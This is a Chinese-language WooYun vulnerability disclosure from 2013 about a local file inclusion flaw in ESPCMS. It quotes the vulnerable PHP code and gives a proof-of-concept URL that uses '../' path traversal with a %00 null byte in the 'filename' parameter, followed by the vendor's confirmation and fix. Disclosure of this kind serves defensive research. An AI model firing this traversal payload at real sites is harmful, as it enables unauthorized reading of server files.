当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2013-21408

漏洞标题: ESPCMS Local File Inclusion Vulnerability

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: knife

提交时间: 2013-04-08 18:39

公开时间: 2013-04-23 23:21

漏洞类型: 文件包含

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 文件包含漏洞 文件包含漏洞利用技巧 php源码审核 php源码分析 php文件包含 本地文件包含利用 白盒测试 ESPCMS

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-08: 细节已通知厂商并且等待厂商处理中
2013-04-08: 厂商已经确认,细节仅向厂商公开
2013-04-18: 细节向核心白帽子及相关领域专家公开
2013-04-23: 厂商提前公开漏洞,细节向公众公开

简要描述:

包含

详细说明:

adminsoft/index.php

code 区域
$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;

include admin_ROOT . adminfile . "/control/$archive.php";// 包含产生 good nice
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
exit('错误:系统方法错误!');
}



code 区域
首先看index.php
02 ///省略无关代码
03 $archive = indexget('ac', 'R'); //ac
04 $action = indexget('at', 'R'); //at
05 ///省略无关代码
06 if (empty($archive) || empty($action)) {
07 include admin_ROOT . 'interface/public.php';
08 $mainlist = new mainpage();
09 if (method_exists($mainlist, 'in_index')) {
10 $mainlist->in_index();
11 } else {
12 exit('Access error!');
13 }
14 } else {
15 if (in_array($archive, array('article', 'forum', 'search', 'bbssearch', 'forummain', 'messmain', 'special', 'respond', 'public', 'scriptout', 'enquiry', 'enquirymain', 'form', 'formmain', 'ordermain', 'membermain', 'member', 'forum', 'order'))) { //强制,首页包含木有了
16 $action = 'in_' . $action; /in_$ 函数
17 if (!file_exists(admin_ROOT . "interface/$archive.php")) { //跟进
18 exit('Access error!');
19 }
20 include admin_ROOT . "interface/$archive.php";
21 $mainlist = new mainpage();
22 if (method_exists($mainlist, $action)) {
23 $mainlist->$action();
24 } else {
25 exit('Access error!');
26 }
27 } else {
28 exit('Access error!');
29 }
30 }
31 ///省略无关代码
32 跟进到interface/enquity文件
33 ///省略无关代码
34 $filename = $this->fun->accept('filename', 'G'); //filename变量
35 $filename = empty($filename) ? 'list' : $filename;
36 ///省略无关代码
37 $output = $this->pagetemplate->fetch($lng . '/lib/' . $filename); '
38 ///省略无关代码
39 ///跟进函数库查看
40 function fetch($tpl_file, $cache_fileID = null, $outHTML = null) {
41 if (!empty($outHTML)) {
42 $out = $this->gettemprequire($outHTML);
43 return $out;
44 }
45 require_once 'ectemplates_parser.php';
46
47 if ($this->libfile) {
48 $tpl_file = $this->templatesDIR . $tpl_file . '.html'; //html
49 }
50
51 $template_file = $this->tpl_dir . $tpl_file;
52
53 $parsed_file = $this->tpl_c_dir . md5($tpl_file) . '.php';
54
55
http://127.0.0.1/espcms_utf8_5.6.13.03.14_b/upload/index.php?ac=scriptout&at=list&tid=1&filename=../../../../index.txt%00

漏洞证明:

http://127.0.0.1/espcms_utf8_5.6.13.03.14_b/upload/index.php?ac=scriptout&at=list&tid=1&filename=../../../../index.txt%00

修复方案:

过滤特殊字符

版权声明:转载请注明来源 knife@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-04-08 18:42

厂商回复:

感谢,我们会尽快修复!!!

最新状态:

2013-04-23:已修正此漏洞!下载地址http://www.ecisp.cn/html/cn/download/


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-04-08 18:43 | knife ( 普通白帽子 | Rank:155 漏洞数:24 | 抬枪上御女,提臀迎众基。)
    1

    @易思ESPCMS企业网站管理系统 靠。我爆那么多源码漏洞,这个我才发出来你们就处理了,不得不赞一个

  2. 2013-04-08 19:01 | blue 认证白帽子 ( 普通白帽子 | Rank:779 漏洞数:68 | 我心中有猛虎,细嗅蔷薇。)
    1

    @knife =。=

  3. 2013-04-08 19:06 | knife ( 普通白帽子 | Rank:155 漏洞数:24 | 抬枪上御女,提臀迎众基。)
    1

    @blue (╯‵□′)╯︵┻━┻ 一年多没在乌云发什么漏洞了。核心都被撤了

  4. 2013-04-09 17:40 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    @knife 咋不来了呢还

  5. 2013-04-09 22:28 | knife ( 普通白帽子 | Rank:155 漏洞数:24 | 抬枪上御女,提臀迎众基。)
    1

    @疯狗 太忙了。。

  6. 2014-06-20 21:27 | 小权 ( 路人 | Rank:4 漏洞数:3 | 小菜鸟,求各位大姐大哥多多指教)
    0

    @knife给个邀请码

登录后才能发表评论,请先 登录